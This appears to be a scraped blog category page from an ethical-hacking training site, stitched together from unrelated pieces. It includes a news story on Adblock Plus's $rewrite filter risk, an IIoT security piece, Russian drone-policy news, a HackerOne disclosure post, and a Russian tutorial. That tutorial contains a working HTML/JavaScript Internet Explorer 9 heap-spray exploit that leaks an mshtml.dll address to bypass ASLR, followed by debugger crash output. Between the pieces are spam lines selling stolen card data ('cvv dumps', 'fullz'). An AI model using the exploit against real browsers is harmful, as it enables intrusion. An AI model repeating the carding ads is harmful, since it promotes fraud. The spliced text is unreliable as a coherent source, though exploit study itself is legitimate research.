Category: Статьи

Institute For Ethical Hacking Course  and  Ethical Hacking Training in Pune – India
Extreme Hacking  |  Sadik Shaikh  |  Cyber Suraksha Abhiyan
Credits: The Register
A feature introduced last year in Adblock Plus and a few other related content blocking browser extensions allows providers of filtering lists, under certain conditions, to execute arbitrary code on web pages.
Adblock Plus v3.2 for Chrome, Firefox and Opera, released in July 2018, includes support for the  filter option, which can alter filter rules governing whether or not content gets blocked. The rationale for doing so is that there may be times when it’s better to redirect a web request rather than blocking it.
The $rewrite filter provides a way to remove tracking data from URLs. One example might be avoiding Google Accelerated Mobile Pages (AMP). “We could redirect people to the non-AMP page as AMP is only meant to advertise and track not to actually make the web better,” suggested Adblock Plus developer Hubert Figuière last year.
Other content blocking extensions with confusingly similar names like AdBlock and uBlock (owned by AdBlock and not associated with uBlock Origin) are said to have also implemented the $rewrite option. With this directive, third-party maintained filter lists can selectively rewrite URL parameters.
According to Sebastian, web pages are vulnerable under specific conditions: if they load a JavaScript string via XMLHttpRequest or Fetchand execute the returned code; if they fail to limit the applicable domain origin fetched with Content Security Policy directives or URL validation; and if the origin of the fetched code has a server-side open redirect or allows the hosting of arbitrary user content.
In such a case, an untrustworthy provider of filer list data could include a malicious filter string that would execute arbitrary code.
In a blog post on Monday developer Armin Sebastian, who found the issue, said he has informed Google about the potential vulnerability but the company considers it intended behavior rather than a bug.
Adblock Plus, in a statement emailed to The Register said, “We are taking this very seriously and are currently investigating the actual risk for our users to determine the best countermeasure.”
In its statement, Adblock Plus said support for $rewrite “was added to allow filter list authors to effectively block circumvention attempts, where a website tries to force ads on visitors that use an ad blocker.”
“The new feature is a fundamental shift from how ad blockers are understood to work,” said Sebastian in a Twitter conversation with The Register.
“In the past the worst that could have happened was for a malicious filter list provider to block access to a site, which would have been a minor annoyance that is easy to spot. The $rewrite filter option, when chained with other security issues from web services, enables account takeovers and the exfiltration of private data. That is quite the leap from how users perceive ad blockers to work.”
Sebastian said he was unaware of whether anyone has been exploiting filtering lists thus, but said manipulation would be difficult to detect. “This method allows delivering payloads on a per request basis, you may be targeted, exploited and the evidence cleared from the extension storage, without needing to publish the payload as part of a public filter list,” he said.
Raymond Hill, the creator of rival content blocking extension uBlock Origin, last year said he would not be implementing $rewrite because of security concerns. Specifically, he worried same-origin restrictions would not be enough because sites like GitHub can have the same origin (github.com) while giving different people control over content on different pages.
“Even with strictly same origin, a malicious filter list author could add bad stuff to a network request,” he wrote, noting that he preferred an option called querystrip that removes but does not rewrite URL query parameters.
In an email to The Register, Hill said, “The exploit requires that a filter list maintainer go rogue, an unlikely scenario, especially for prominent filter lists, i.e. those used by default by the affected blockers. Still, [Sebastian’s post] makes the case that the possibility exists and this needs to be taken into account by users according to how they personally choose to assign trust.”
Adblock Plus said $rewrite has been restricted to prevent it from executing any scripts but, despite Content Security Policy settings, “certain websites allow the interpretation of plaintext from a third party as code and execute it.”
The company said it considers exploitation unlikely (and hasn’t seen any exploitation attempts) because it vets authors who contribute to filter lists enabled in Adblock Plus by default and it examines filter lists regularly.
“Nevertheless, there are still websites where this option can be used to run malicious software and we know that it is our responsibility to protect our users from such attacks. We are working on fixing this exploit,” the company said.
In addition to further restrictions being considered for $rewrite, Adblock Plus says may restrict all filter lists to https, which is currently the case for default activated lists.
Sebastian said the risk can be mitigated by whitelisting known origins with the connect-src CSP header or by omitting server-side open redirects.
The Register asked Google to confirm that it doesn’t see this as a Chrome security problem, but we’ve not yet heard back.
One of the reasons Google cites for its controversial Manifest v3 plan to change the APIs available to Chrome extensions is security. The search biz is focused on issues other than filter trust, like replacing the webRequest API, which evaluates rules in the browser (where they can be changed) rather than in the JavaScript engine (where declared rules remain fixed).
cashout dumps without pin master cvv dumps

Industrial facilities have been increasingly reliant on the industrial internet of things (IIoT) , adopting devices that make for more productive and efficient systems. Today, many manufacturing factories , energy plants , and even agricultural sites have hundreds of IIoT devices that help manage and streamline their operations. But these facilities now also have to defend against new threats that take advantage of weaknesses and other attack vectors that come with the adoption of new technology. 
In industrial environments, operational technology (OT) and information technology (IT) are more connected than ever . This convergence provides industries with optimized automation and better visibility, among other benefits. However, it is also the main characteristic that makes IIoT-integrated facilities more susceptible to cyberattacks. OT is concerned with the physical aspect of industrial production, including systems for checking if a certain tank is overflowing, or for ensuring that a valve opens when it should. These were normally closed systems, but now they are increasingly being brought online. Along with traditional enterprise and office functions, a key concern of IT is the flow — and sometimes collection and analysis — of data that comes from within and outside of the industrial facility. Traditional IT has many gateways — a large and vulnerable surface that is exposed to constantly evolving threats.
The convergence of IT and OT means that devices are being pushed outside what they were designed for, which can result in a weak or exposed industrial facility. Also, more connected endpoints mean more potential gateways for cybercriminals to gain access to networks and infrastructure systems. And since these networks are connected to machines and entire production lines, cyberattacks can be manifested in all-too-real, physical incidents.
The IIoT is a viable, and increasingly popular , target for hacking groups because of several key characteristics:
According to a March 2019 report conducted by Ponemon Institute, 90% of organizations dependent upon OT (such as those in the manufacturing, pharmaceutical, and transportation industries) experienced at least one major cyberattack in the past two years. This is certainly a problematic statistic for industrial facilities. Perhaps one cause of the problem is that, as the report states, only 20% of the surveyed professionals believed that they had sufficient visibility into their organizations’ attack surface.
The IIoT may be spread across large facilities and different locations, with numerous machines exchanging data through cloud platforms and various applications. The complexity of the system — and the fact that it is usually unique to each facility — makes it hard to map the complete attack surface of an IIoT environment. But a comprehensive view of this matter is vital to creating an effective security strategy. Here is an overview of critical IIoT attack surface areas that organizations should properly address:
According to the same report from Ponemon Institute, 50% of organizations experienced an attack on critical infrastructure in the past two years that resulted in downtime to their plants or equipment. Downtime in an industrial setting can mean, say, substantial financial losses or inconveniences and even dangerous ramifications for customers. Downtime is but one consequence of attacks on IIoT environments.
It is essential, therefore, that the IIoT be secured. Knowing how to secure the internet of things (IoT) is a good place to start. Here are a few more guidelines for organizations to follow so as to secure the IIoT attack surface:
With additional insights from Robert McArdle
Like it? Add this infographic to your site:1. Click on the box below.   2. Press Ctrl+A to select all.   3. Press Ctrl+C to copy.   4. Paste the code into your page (Ctrl+V).
Image will appear the same size as you see above.
View the report
The upheavals of 2020 challenged the limits of organizations and users, and provided openings for malicious actors. A robust cybersecurity posture can help equip enterprises and individuals amid a continuously changing threat landscape. View the 2020 Annual Cybersecurity Report
fullz usa free paypal dumps 2021

Уходящий президент США Дональд Трамп подписал в понедельник исполнительный приказ, предписывающий федеральным агентствам оценить риски безопасности при применении импортных дронов государственными органами и в приоритетном порядке избавиться от БПЛА, произведённых в «неправильных» странах, пишет Reuters.
В список «недружелюбных производителей» дронов кроме Китая, который массово производит БПЛА на экспорт, попали также Россия, Иран и Северная Корея (об экспорте беспилотников из этих стран в США данных нет – ред.). Агентства должны запланировать «потенциальные шаги, которые должны нивелировать риски, включая, если это будет оправданно, прекращение использования таких дронов и оперативное «увольнение» их с федеральной службы».
Напомним, в 2017 году командование американской армии приказало прекратить использование беспилотных летательных аппаратов китайского производителя DJI из-за «уязвимостей в продуктах». В мае 2019 министерство национальной безопасности США предупредило американские компании о рисках кражи данных при использовании китайских БПЛА. В августе 2019 заместитель министра обороны США по вопросам закупок заявила , что Пентагон не может использовать дешёвые и популярные дроны китайского производителя DJI из-за проблем с безопасностью. Министерство предложило взять курс на увеличение числа поставщиков дронов и отказаться от закупок у китайцев.
В октябре 2019 министерство внутренних дел отстранило от полётов свой флот из 800 с лишним беспилотников – из-за опасений шпионажа и кибератак со стороны Китая. В ноябре 2019 Минюст США опубликовал обновлённые правила использования дронов – в частности, регулятор ввёл процедуру проверки аппаратов иностранных производителей.
В августе 2020 подразделение Минобороны США по технологическим инновациям отобрало пять американских производителей дронов (из числа представителей малого бизнеса), продукция которых должна составить у военных конкуренцию дешёвым беспилотникам из Китая.
В декабре 2020 Минторг США внес SZ DJI Technology Co в «чёрный список» производителей.
sell cvv fresh for sale dumps shop cvv

There are over 1,600 publicly disclosed vulnerability reports on the HackerOne platform!
We see security teams and hackers choose to publicly disclose their vulnerabilities over and over again. HackerOne firmly believes that transparency and information sharing improves security. We also recognize that information sharing through public disclosure is accompanied by inherent risks that must be carefully managed. On HackerOne, these risks are managed through a configurable disclosure process that seeks to serve everyone’s best interests through mutual coordination.
“[Public] disclosure — the practice of making the details of security vulnerabilities public — is a damned good idea. Public scrutiny is the only reliable way to improve security, while secrecy only makes us less secure.” – Bruce Schneier
The most common reasons for public disclosure we hear include:
Our public disclosure process is designed to balance transparency while giving security teams and hackers control and a way to communicate jointly. Here is how it works from the perspective of a security team:
Public Disclosure Workflow
Note that security teams have the ability to prevent any report from being publicly disclosed on HackerOne.
When publishing reports on HackerOne, the security team can choose to disclose the report in full or limit the information published. The default is to display all the communications between the hacker and the security team from first report to resolution. There are two ways a security teams can limit the information shared: redacting sensitive information or limiting visibility to a summary written by the security team along with a partial timeline. Here’s an outstanding example of a summarized disclosure from the Shopify security team: https://hackerone.com/reports/64164 .
Example of a summarized HackerOne Public Disclosure
HackerOne’s mission is to empower the world to build a safer internet. Sharing found vulnerabilities to teach others helps prevent the same vulnerabilities from being reproduced.
There will always be security teams with unique needs on HackerOne. A common case is hardware companies, who may resolve a vulnerability but defer disclosure for months to ensure adequate patch time. We encourage security teams to put their specific requirements on their Security Page to supercede these guidelines. HackerOne customers can always ask for assistance for writing a useful policy and configuring a custom disclosure process. For more information, please read the full HackerOne Disclosure Guidelines .
Questions or comments? Reach out to us on our social channels, especially Twitter @hacker0x01 . Email works too via hello@hackerone.com .
-HackerOne
buy stolen cc dark web buy cc

В предыдущей статье мы остановились на инкрементировании данных в отдельном четырехбайтовом адресе у браузера IE9. В этой статье вы узнаете, к каким серьезным последствиям могут привести подобные манипуляции.
Как и обещал, публикую продолжение  предыдущей статьи .
В предыдущей статье мы остановились на инкрементировании данных в отдельном четырехбайтовом адресе у браузера IE9. В этой статье вы узнаете, к каким серьезным последствиям могут привести подобные манипуляции. Поскольку предполагается, что процесс защищен технологией ASLR, первым делом необходимо придумать способ определить фиксированный адрес, который мы сможем безопасно инкрементировать. Наипростейший способ сделать это – использовать выровненный heapspray (aligned heapspray). Если вы не знакомы с методикой heapspray, особенно, как ее реализовать в Internet Explorer, ниже я приведу некоторые основы.
Heap Spray
Идея методики heapspray заключается в заполнении кучи для того, что мы могли определить адрес памяти с известным содержимым… тут ничего удивительного. План заключается в том, чтобы выделить много участков в процессе для последующей безопасной записи/инкрементирования куска памяти, который в противном случае может быть занят. Поскольку у нас есть только одна попытка, необходимо убедиться в том, что мы можем манипулировать чем-то полезным. Для этого необходимо более внимательно ознакомиться с механизмом управления распределением памяти в Internet Explorer и Windows 7. Не составляет особых трудностей заполнить память процесса информацией, но наша задача записать туда нечто стоящее. И, как выясняется, мы может сделать это, но вначале давайте рассмотрим пример лог файла, который содержит распределения блоков памяти различных размеров.
Возможно, вы заметили некоторую закономерность. Первые три размера, видимо, являются случайными адресами, однако последние три размещения размером 0×80000 оканчиваются одинаково (0020). Как выясняется, если вы создаете размещение (почти) размером 0×80000, диспетчер памяти выравнивает его так, чтобы он начинался с новой страницы. 0020 – размер заголовка кучи. Если вы проверяете этот механизм при помощи отладчика, убедитесь в том, что вы отключили debugheap (флаг –hd в командной строке windbg), в противном случае размер заголовок будет 0×30. Если мы учтем размер заголовка кучи, то получим следующее:
alloc(0x7ffe0) = 0x02cf0020
alloc(0x7ffe0) = 0x04cf0020
alloc(0x7ffe0) = 0x05230020
alloc(0x7ffe0) = 0x06ed0020
alloc(0x7ffe0) = 0x07050020
alloc(0x7ffe0) = 0x070d0020
alloc(0x7ffe0) = 0x07150020
alloc(0x7ffe0) = 0x071d0020
Быстрый подсчет показывает, что последние три участка следуют четко друг за другом, создавая при этом непрерывный поток байтов под нашим контролем.
Поскольку каждый участок начинается по адресу 0xXXXX0020, даже если мы не знаем точный адрес, с которого начинается участок, мы все равно может заполнить его по образцу, который повторяется каждый 0×10000 байт и быть уверенными, что по адресу 0xXXXX0020 начинается наш образец. Все что необходимо сделать – выделить множество участков, а затем выбрать адрес, по которому вероятнее всего находятся наши данные. Нам нужно выбрать такой адрес, чтобы быть уверенным, что его не использует IE, но не сильно выходить за пределы, чтобы не выделять слишком большое число участков. Обычно, я использую 0×12010020, но вы можете выбрать свой собственный адрес.
Идем дальше. Мы собираемся выделить множество участков для того, чтобы получить безопасный адрес для инкремента. Возникает вопрос: чем мы будем заполнять эти участки? Если, к примеру, это будет большая строка, состоящая из символа «А», все что нам удастся сделать – изменить «A» на «B». Не слишком полезная операция. Нам нужно заполнить участки полезной информацией: указателями, флагами, размерами и вообще всем чем угодно, что не относится к простой строке. Это должен быть единственный участок размером 0×80000 или больше для правильного его выравнивания.
Я убежден, что это задачу можно решить различными способами, но я остановился на использования атрибутов элемента. Если вы не знакомы с системой хранения атрибутов элемента, предлагаю вам ознакомиться со следующей главой, иначе смело пропускайте ее и читайте далее.
Атрибуты элемента
Мы будем использовать атрибуты элемента при выделении множества участков (или «опрыскивании» кучи). Атрибуты хорошо подходят нам, поскольку содержат множество интересной информации. Так то, я не первый, конечно, кто использует атрибуты. Николас Жоли (Nicolas Joly) из компании Vupen некоторое время назад написал прекрасный эксплоит , где злоупотреблял методом хранения атрибутов элементов для обхода ASLR и DEP. Я дам небольшие пояснения по поводу внутренней схемы хранения атрибутов элемента. Вы также можете прочитать об этом в блоге компании Vupen. Когда у элемента есть атрибуты, он содержит указатель на участок размером 0×10, содержащий число атрибутов элемента, и указатель на текущий массив атрибутов.
Каждый атрибут в таблице использует 0×10 байт памяти. Первый DWord содержит набор флагов, которые среди прочего описывают Вариантный Тип ( Variant Type ) следующих за ним данных. Первый DWord также определяет, является ли второй DWord хэш-значением или указателем на структуру.
Второй DWord является либо хэш-значением имени, либо указателем на структуру, которая содержит дополнительную информацию.
Третий и четвертый DWord содержат либо само значение атрибута (в случае, например, с целочисленными значениями), либо указатель на значение атрибута (в случае со строками и объектами).
Размер массива будет увеличиваться по мере увеличения числа дополнительных атрибутов. Все начинается с размера в 0×40 байт для четырех атрибутов. По мере роста числа атрибутов этот размер увеличивается каждый раз на 50% (округление происходит в меньшую сторону). То есть размер массива будет увеличиваться так: 0×40, 0×60, 0×90, 0xD0 и так далее. Хотя, как выяснил Николас Жоли, если вы клонируете элемент, содержащий X атрибутов, новый элемент будет иметь массив атрибутов размером несколько больше, чем необходимо для хранения этих атрибутов. Эту фитчу можно использовать для создания участков размером 0x7ffe0 путем клонирования элемента, который содержит 0x7ffe атрибутов.
В компании Vupen уже продемонстрировали, что вариантный тип атрибута – главный кандидат для экспериментов. Однако, насколько мне известно, невозможно создать много различных вариантных типов при помощи javascript. По этой причине, потенциальные изменения, которые мы можем сделать, ограничены. Я пометил вариантные типы, которые мне удалось создать, используя различные значения атрибутов. Конечно, я мог что-то упустить.
· VT_EMPTY = 0×0000,
· VT_NULL = 0×0001,
· VT_I2 = 0×0002,
· VT_I4 = 0×0003,
· VT_R4 = 0×0004,
· VT_R8 = 0×0005,
· VT_CY = 0×0006,
· VT_DATE = 0×0007,
· VT_BSTR = 0×0008,
· VT_DISPATCH = 0×0009,
· VT_ERROR = 0x000A,
· VT_BOOL = 0x000B,
· VT_VARIANT = 0x000C,
· VT_UNKNOWN = 0x000D,
· VT_DECIMAL = 0x000E,
· VT_I1 = 0×0010,
· VT_UI1 = 0×0011,
· VT_UI2 = 0×0012,
· VT_UI4 = 0×0013,
· VT_I8 = 0×0014,
· VT_UI8 = 0×0015,
· VT_INT = 0×0016,
· VT_UINT = 0×0017,
· VT_VOID = 0×0018,
· VT_HRESULT = 0×0019,
· VT_PTR = 0x001A,
· VT_SAFEARRAY = 0x001B,
· VT_CARRAY = 0x001C,
· VT_USERDEFINED = 0x001D,
· VT_LPSTR = 0x001E,
· VT_LPWSTR = 0x001F,
· VT_RECORD = 0×0024,
· VT_INT_PTR = 0×0025,
· VT_UINT_PTR = 0×0026,
· VT_ARRAY = 0×2000,
· VT_BYREF = 0×4000
Если посмотреть на этот список, то в нем нет подходящего кандидата, который позволит нам раскрыть память при увеличении вариантного типа на единицу. Это утверждение не совсем верно, но мы вернемся к этому чуть позже. Но нужно иметь в виду, если увеличить вариантный тип на единицу без изменения значения атрибута, то это может дать нам некоторые дивиденды.
Мы будем создавать множество участков (или «опрыскивать» кучу) с массивами атрибутов, которые содержат 0x7FFE элементов. Мы будем устанавливать каждый 0x1000-й элемент, а все остальные оставим пустыми, что значительно ускорит задачу их клонирования. Устанавливая каждый 0x1000-й атрибут, мы создаем наш повторяющийся шаблон и затем должны в состоянии гарантированно изменить значение этих атрибутов.
Следующий вопрос: что мы собираемся менять? Я размышлял над этим некоторое время и попробовал несколько вариантов. Я не буду описывать полностью все мои эксперименты и причины, почему они завершились неудачно, а сразу перейду к тому, что реально работает.
Как я уже сказал, при рассмотрении нескольких вариантов я принял решение изменить строковой указатель. Мы можем получить указатель BString в таблице атрибутов при помощи следующей инструкции javascript:
elmement.setAttribute(‘test’, ‘aaaaaaaaaa’);
BString (вариантный тип 0×08) – строковой тип, применяемый во многих местах, где используются строки в Internet Explorer. Первые четыре байта равны длине строке, за которым следует строковые данные. В конце идет пустой символ окончания строки. Указатель на BString указывает на начало строковых данных, а не на поле с размером строки. Ниже приводится рисунок, на котором я попытался оформить свои мысли графически.
Если мы увеличим указатель на значение внутри массива атрибутов, то мы можем переместить указатель на строковые данные на один байт, что не представляется сколь-нибудь полезным. Сделав это, вы можете получить следующее:
Однако мы не ограничены лишь увеличением указателя только на 1 байт. Если проигнорировать нормальное четырехбайтовое выравнивание наших данных, мы можем увеличить указатель на 0×100, 0×10000 или 0×1000000. Последние два варианта (увеличение указателя на 0×10000 или 0×1000000) реализовать сложнее, однако увеличение указателя на 0×100 представляет определенный интерес. Давайте рассмотрим его поподробнее. Мы не знаем, каков будет адрес BString, однако в Windows7 мы можем перевести кучу в очень предсказуемое состояние путем использования метода, которым куча с низкой фрагментацией (Low Fragmentation Heap, LFH) выделяет память. Настало время ознакомиться подробнее с кучей с низкой фрагментацией.
Куча с низкой фрагментацией
Для начала я настоятельно рекомендую вам ознакомиться со статей Understanding the Low Fragmentation Heap , написанной Крисом Валасеком (Chris Valasek), который в мельчайших деталях описал LFH для Windows 7. Главная особенность кучи с низкой фрагментацией – очень предсказуемое выделение памяти (по крайней мере, в Windows 7). C Windows 8 отдельная история – спасибо Мэтту Миллеру (Matt Miller) за то, что он добавил случайности в этой процесс :(. Но вернемся к Windows 7 и ее предсказуемости. Во-первых, LFH будет обрабатывать входящие запросы на выделение участков, на основе их размеров. Участки группируется по 0×8 байт, и каждая группа получает свою собственную область памяти. Как только распределитель кучи решает использовать LFH определенного размера весь участок той группы будет обработан в области памяти, созданной для этой группы. Как только область памяти становится полной, будет создана новая область памяти.
Область памяти является непрерывной, которая в состоянии хранить определенное число пользовательских блоков. Пользовательский блок – конечный кусок памяти, с которым работает программа. В Windows 7 пользовательские блоки выдаются по линейному закону.
Каждому пользовательскому блоку предшествует блок заголовка, размером 0×8 байт, который мы будем эксплуатировать далее. Когда освобождается кусок памяти, он снова доступен для следующего выделения памяти того же размера (количеству байт, равному остатку от деления на 8). Поскольку участки выдаются линейно, довольно просто манипулировать кучей, размещая участки в том порядке, который нам нужен для эксплуатации уязвимости.
Используя возможности, предоставленные нам LFH, мы можем манипулировать состоянием кучи для того, чтобы получить некоторые полезные данные, привязанные к нашему атрибуту BString. Затем мы можем увеличить указатель на BString в таблице атрибутов на 0×100 и тем самым переместить BString в следующий участок (если мы выберем правильный размер). Я выбрал BString размером 0x8A, и на это есть несколько причин:
Таким образом, наш план заключается в том, чтобы переместить указатель BString внутрь таблицы атрибутов на величину 0×100. Этого можно достигнуть путем инкремента значения [AttributeValue1 + 1], где AttributeValue1 указывает на нашу heapspray с атрибутами и содержит указатель на BString, который содержится в блоке памяти размером 0×90. Из-за предсказуемости выделения памяти под огромную таблицу атрибутов, мы можем спрогнозировать, по какому адресу в памяти будет доступен указатель на BString. Мы не знаем, что это за указатель, или каково его значение, но это не имеет значения.
Следом за BString находится участок памяти с таблицей атрибутов, которая содержит 0х9 атрибутов и, соответственно, занимает 0×90 (именно поэтому они идут друг за другом). Если произвести вычисления на основе выбранных параметров, то получим следующий результат (для упрощения полагаем, что область памяти, которая хранит участки размером 0x90, начинается по смещению 0×00000000):
0×00000000 Начало 8-ми байтового заголовка блока для участка 1 (строка)
0×00000008 Размер строки (DWord)
0x0000000C Начало строковых данных
0×00000096 Окончание строки (0000)
0×00000098 Начало 8-ми байтового заголовка блока для участка 2 (таблица атрибутов)
0x000000A0 Начало таблицы атрибутов
0×00000130 Начало 8-ми байтового заголовка блока для участка 3 (строка)
…
В таблице атрибутов будет находиться указатель со значением 0x0000000C на объект BString. Мы можем изменить его на значение 0x0000010C, которое прямиком попадает в содержимое таблицы атрибутов. Атрибуты занимают 0×10 байт памяти, так что 0x10C – 0xA0 (начало таблицы) == 0x6C. Таким образом, указатель BString будет указывать на седьмой атрибут. Поскольку размер BString находится в BString – 4, размер будет находиться по смещению 0×8 от седьмого атрибута в таблице.
И это здорово, поскольку мы можем полностью управлять этим значением. У нас есть также достаточно места, чтобы слить некоторую информацию из таблицы атрибутов.
Возможно, это звучит слегка непонятно, и я попытаюсь объяснить графически. Размер строки после того, как мы «скорректировали» указатель на нее, должен быть разумным. Именно поэтому чрезвычайно важно, что можем контролировать ее размер, а не просто ссылаться на нее в случайно выделенной памяти.
На рисунке выше серыми полями отмечены области памяти, в которой находится информация о заголовке кучи. Желтым цветом отмечены строковые данные. Черная стрелка, как было раньше, указывает точно в начало строковых данных, однако, мне удалось его немного подправить. Красной стрелкой показан «новый» указатель после инкрементирования, и сейчас он указывает в середину следующего участка.
Хорошая новость в том, что существуют «стандартные» атрибуты для конкретных объектов, что нам на руку, поскольку это означает, что таблица атрибутов в файле mshtml.dll будет содержать указатель на структуру этих атрибутов. Плохая новость в том, что эти атрибуты всегда находятся наверху таблицы атрибутов при их добавлении, так что нам нужно найти такой объект, у которого как минимум 8 стандартных атрибутов, так чтобы мы могли получить информацию об адресе внутри mshtml.dll.
Хороший кандидат на эту роль – элемент body. У этого элемента не менее 9 стандартных атрибутов, что позволяет нам быть достаточно гибкими при установке приемлемого размера BString, получить адрес из mshtml и даже дополнительную информацию о выделениях куч.
Таким образом, наш план заключается в следующем:
Результирующий HTML-код выглядит так:
<!doctype html>
<HTML>
<head>
<script>
lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
lfh[i] = document.createElement(‘div’);
lfh[i].className =
“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”;
}
function setinput() {
try { document.write(‘Timber’); } catch(e) {}
// I used 2 area element to make sure we reoccupy freed memory (there is a reason behind this that doesnt fit on this page)
d = document.createElement(‘area’);
d.shape = “poly”
// Our BString pointer is located at: 0x12010020 + 0x8
// We want to INCrement 0x12010020 + 0x8 + 1 to add 0x100 and not 0x1
// The code does: inc dword ptr [esi+0A0h] so we need to substract 0xAO from the values leaving 0x1200FF89 which is 302055305 decimal
d.coords =
“1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,
27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48”;
d2 = document.createElement(‘area’);
d2.shape = “poly”
d2.coords =
“1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,
27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48”;
a = document.createElement(“div”);
a.clearAttributes()
//Step 1
for(i = 0; i < 0x7ffe; i++) {
a.setAttribute(“attr” + i, null);
}
mem = new Array(400);
// Step 2
for(i = 0; i < mem.length; i++) {
mem[i] = a.cloneNode(1);
}
bodies = new Array()
// Step 3
for(j = 0; j < mem.length; j++) {
for(i = 0; i < 0x7ffe; i += 0x1000) {
// Step 3.1
mem[j].setAttribute(“attr” + i,
“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”);
// Step 3.2
b = document.createElement(‘body’);
b.title = ‘a’;
b.id = ‘a’;
b.text = ‘a’
b.bgColor = 1
b.topMargin = 1
b.bottomMargin = 1
b.leftMargin = 1
b.rightMargin = 4
b.setAttribute(‘ropchain’, bodies.length) // This will actualy give us the index of the body element we are leaking.
bodies.push(b);
}
}
// Saving the attributes so Garbage Collection wont kill them accidentally
document.body.setAttribute(‘mem’, mem)
document.body.setAttribute(‘bodies’, bodies)
return true
}
function loaded() {
document.getElementsByTagName(‘input’)[0].attachEvent(“onbeforeeditfocus”, setinput)
// Step 4
document.getElementsByTagName(‘input’)[0].focus();
// Step 6
for(j = 0; j < mem.length; j++) {
for(i = 0; i < 0x7ffe ; i += 0x1000) {
//Step 7
if(mem[j].getAttribute(“attr” + i).length != 0x45) {
//Step 9
LeakInfo = “Size of the attribute is = ” + data.length + ”
“;
LeakInfo += “Raw data:
”
LeakInfo += escape(data) + ”
“;
mshtmlAddress = data.charCodeAt(4) + data.charCodeAt(5) * 0x10000
LeakInfo += “Address of mshtml code is 0x” + mshtmlAddress.toString(16) + ”
“;
bodyindex = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000
LeakInfo += “Index of the leaked body = 0x” + bodyindex.toString(16);
alert(LeakInfo);
}
}
}
}
</script>
</head>
<body onload=”loaded();”>
<input value=”mydata” type=”text”></input>
</body>
</html>
После выполнения этого кода, вы должны получить следующее сообщение:
Возможно, вы задаетесь вопросом, почему все закончилось строкой размером 50. Причина в том, что в качестве длины строки используется значение атрибута «leftMargin», и по какой-то причине значение «1» на самом деле сохранилось как «100» (в десятичной системе счисления). Я не особо разбирался, почему этот так, поскольку этого достаточно для решения нашей задачи.
Если вы повнимательнее посмотрите на исходный код, то увидите, что я добавил индекс к слитому (leaked) элементу body в массиве элементов, и теперь мы точно знаем, какой элемент нам удалось слить.
Таким образом, первая цель нашего эксплоита достигнута, у нас есть адрес, полученный из mshtml.dll в javascript, и теперь мы можем обойти защиту ASLR. Конечно, это не идеальное решение, поскольку mshtml.dll изменяется довольно часто, и мы не хотим обновлять нашу ROP-цепь для учета этих изменений. Было бы идеально, если мы могли бы добиться утечки произвольной памяти и в дальнейшем сделать нашу ROP-цепь более надежной. Кроме того, нам все еще необходимо найти способ получения контроля над потоком выполнения приложения, поскольку на данных момент мы добились лишь утечки памяти.
Возможно, вам кажется, что сейчас можно просто изменить значения смещенного строкового атрибута, что вызовет (частичную) перезапись в таблице атрибутов, на которую он указывает. Все верно, но не все так просто, как вы думаете. Давайте просто изменим атрибут и посмотрим, что произойдет. После появления окна со слитой информацией, была добавлена единственная инструкция для изменения атрибута:
mem[j].setAttribute(“attr” + i,
“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”)
После запуска скрипта возникает следующий крах:
Critical error detected c0000374
(59c.ab4): Break instruction exception – code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=77250b0a edx=0316c4b5 esi=006b0000 edi=0585aaf0
eip=772ae695 esp=0316c708 ebp=0316c780 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!RtlReportCriticalFailure+0x29:
772ae695 cc int 3
1:019> k
ChildEBP RetAddr
0316c780 772af5c9 ntdll!RtlReportCriticalFailure+0x29
0316c790 772af6a9 ntdll!RtlpReportHeapFailure+0x21
0316c7c4 772af912 ntdll!RtlpLogHeapFailure+0xa1
0316c81c 7726aba7 ntdll!RtlpAnalyzeHeapFailure+0x25b
0316c910 77213492 ntdll!RtlpFreeHeap+0xc6
0316c930 74c56e6a ntdll!RtlFreeHeap+0x142
0316c944 7500449b ole32!CRetailMalloc_Free+0x1c [d:\w7rtm\com\ole32\com\class\memapi.cxx @ 687]
0316c968 75003ea3 OLEAUT32!APP_DATA::FreeCachedMem+0xc1
0316c984 71a7c73b OLEAUT32!SysFreeString+0x6b
0316c990 71a7be2f MSHTML!CAttrValue::Free+0x61
0316c9b4 71a7bdc3 MSHTML!CAttrArray::SetAt+0x61
0316c9c8 71a7be4b MSHTML!CAttrArray::SetAt+0x38
0316ca00 719e1c4c MSHTML!CBase::InvokeAA+0x273
0316ca90 719cedb8 MSHTML!CElement::ie9_setAttributeNSInternal+0x380
0316cac4 719ced22 MSHTML!CElement::ie9_setAttribute+0x68
0316cb10 712385fe MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0xc0
1:019> dd 0316c930
0316c930 0316c944 74c56e6a 006b0000 00000000
0316c940 0585aaf8 0316c968 7500449b 74d466bc
1:019> dc 0585aaf8
0585aaf8 00000064 00000009 00011400 71c629e0 d…………).q
0585ab08 00010000 3f800000 80000301 002e46bf …….?…..F..
0585ab18 00000c19 007310d8 3fc0c281 88000000 ……s….?….
0585ab28 0000008a 00410041 00410041 00410041 ….A.A.A.A.A.A.
0585ab38 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
